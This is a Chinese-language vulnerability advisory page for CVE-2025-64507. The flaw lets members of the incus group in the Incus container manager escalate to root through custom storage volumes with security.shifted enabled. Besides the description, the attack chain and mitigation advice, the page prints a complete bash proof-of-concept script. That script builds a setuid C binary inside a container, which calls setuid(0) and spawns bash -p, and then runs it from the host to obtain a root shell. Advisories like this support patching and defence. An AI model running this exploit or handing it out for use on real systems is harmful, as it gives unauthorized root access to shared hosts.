IPBUF安全漏洞报告
English
CVE-2025-64507 CVSS 7.8 高危

CVE-2025-64507 Incus容器安全.shifted属性权限提升漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-64507
漏洞类型
本地权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Incus

相关标签

CVE-2025-64507IncusLXC容器安全本地权限提升security.shiftedsetuid高危漏洞系统容器虚拟机管理器

漏洞概述

CVE-2025-64507是Incus容器管理器的本地权限提升漏洞。Incus是一个系统容器和虚拟机的管理器。漏洞存在于6.0.6之前和6.19.0之前的所有版本。该漏洞允许在特定环境配置下,非特权用户通过具有security.shifted属性设置为true的自定义存储卷,从容器内写入setuid二进制文件,然后在宿主机以非特权用户身份执行该文件,从而获得root权限。典型攻击场景是使用incus-user服务且用户属于incus组的系统,此时用户拥有受限的Incus访问权限。攻击者可以创建具有特定属性的自定义存储卷(取决于内核和文件系统支持),然后利用此漏洞实现本地权限提升。CVSS评分7.8,属于高危漏洞。

技术细节

该漏洞的根本原因在于Incus对具有security.shifted属性的自定义存储卷权限检查不完善。当存储卷的security.shifted属性设置为true时,卷内文件的UID/GID会在容器内外进行映射转换。攻击者首先创建一个带有security.shifted=true属性的自定义存储卷并附加到容器中,然后在容器内创建一个具有root所有权的setuid二进制文件。由于security.shifted的UID映射机制,该二进制文件在宿主机上会显示为当前非特权用户的文件,但由于setuid位被设置,攻击者执行该文件时可以获取root权限。CVSS向量显示攻击复杂度低(AC:L),需要低权限(PR:L),无需用户交互(UI:N),可造成机密性(C:H)、完整性(I:H)和可用性(A:H)的高影响。

攻击链分析

STEP 1
步骤1
攻击者作为incus组用户创建具有security.shifted=true属性的自定义存储卷
STEP 2
步骤2
启动容器并将创建的存储卷附加到容器,路径映射为/exploit
STEP 3
步骤3
在容器内编译C程序,该程序调用setuid(0)和system()获取root shell
STEP 4
步骤4
设置setuid位(chmod 4755),由于security.shifted的UID映射,文件在宿主机显示为攻击者所有
STEP 5
步骤5
从宿主机以非特权用户身份执行该setuid二进制文件,获得root shell

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-64507 PoC - Incus Local Privilege Escalation # Prerequisites: User must be in 'incus' group and have access to incus-user set -e INCUS_IMAGE="ubuntu:22.04" VOLUME_NAME="exploit-volume-$$" CONTAINER_NAME="privesc-container-$$" # Step 1: Create custom storage volume with security.shifted=true echo "[+] Creating custom storage volume with security.shifted=true..." lxc storage volume create default $VOLUME_NAME --type custom security.shifted=true 2>/dev/null || true # Step 2: Launch container and attach the volume echo "[+] Launching container..." lxc launch $INCUS_IMAGE $CONTAINER_NAME # Step 3: Attach the volume to the container echo "[+] Attaching custom volume to container..." lxc config device add $CONTAINER_NAME exploit-volume disk source=$VOLUME_NAME path=/exploit # Step 4: Create setuid binary inside container echo "[+] Creating setuid binary inside container..." lxc exec $CONTAINER_NAME -- bash -c ' cat > /exploit/privesc.c << "EOF" #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { setuid(0); setgid(0); system("/bin/bash -p"); return 0; } EOF gcc /exploit/privesc.c -o /exploit/privesc chmod 4755 /exploit/privesc ' # Step 5: Execute setuid binary from host to gain root echo "[+] Executing setuid binary to gain root privileges..." echo "[!] If exploitation successful, you should now have root shell" $HOME/.local/share/incus/storage-pools/default/$VOLUME_NAME/privesc || \ /var/lib/incus/storage-pools/default/$VOLUME_NAME/privesc || \ echo "[!] Manual execution required from host" # Cleanup echo "[+] Cleaning up..." lxc stop $CONTAINER_NAME 2>/dev/null || true lxc delete $CONTAINER_NAME 2>/dev/null || true lxc storage volume delete default $VOLUME_NAME 2>/dev/null || true

影响范围

Incus < 6.0.6
Incus >= 6.1.0 且 < 6.19.0

防御指南

临时缓解措施
在部署补丁版本之前,可手动限制incus组用户的权限,禁止其创建带有security.shifted属性的自定义存储卷。可以通过修改Incus的ACL策略或使用更严格的存储池配置来缓解风险。对于不需要自定义存储卷的环境,可以考虑移除用户的incus组访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表